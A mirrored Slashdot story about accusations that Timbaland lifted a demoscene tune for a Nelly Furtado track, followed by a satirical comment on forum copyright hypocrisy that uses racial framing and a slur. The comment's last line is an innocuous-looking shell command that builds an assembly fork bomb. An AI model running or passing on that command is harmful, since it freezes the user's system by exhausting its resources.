Slashdot Mirror
Did Producer Timbaland Steal From the Demoscene?
gloom writes "In 2000 the Finnish demoscene musician Janne Suni (also known as 'Tempest') won the Oldskool Music Competition at the Assembly demoparty with his four-channel Amiga .MOD entitled 'Acid Jazzed Evening.' A Commodore 64 musician called 'grg' remade the song on the C64 (using the infamous SID soundchip); it is this that was stolen. The producer's name is Timbaland and he is one of the hottest names in American music these days. The track in question is called 'Do it' and it is featured on the Nelly Furtado album 'Loose' on the Geffen label. Getting nowhere with Geffen, the demoscene has now risen to the aid of Tempest, first by creating a stir at SomethingAwful (files downloadable from the forum), then at Digg.com, then on YouTube, with a video demonstrating the blatant ripoff. Being an online-posting musician myself — what rights do I have if this should ever happen to me, and what can be done to raise awareness about such things?"
Actually Internet conventional wisdom is fairly unpredictable when it comes to copyright.
Case 1: Metallica vs the Internet
Metallica, a pasty white but decidedly non nerdy metal band complain about people stealing their music.
Slashdot: LOL, retards. Information wants to be free. Musicians should make money from live gigs + It's copyright infringement not stealing. Stealing is when you take something physical away from someone, like when a mugger took my iRiver full of Metallica songs.
Case 2: Someone uses GPL code in a non GPL product
Slashdot: OMG Stealing! Mailbomb them back to the stoneage!
Case 3: Pasty white Mac fans remix music, get sued
BoingBoing: Information wants to be free. DRM eats babies!
Case 4: A rich black man uses 4 chords from nerdy white guys
Slashdot: ZOMG! Stealing! Plagiarism!
I'd say that the background of the two parties is more important than any deep principle.
Disclaimer: Conventional Wisdom determined by reading comments until I got a headache, not a representative sample.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;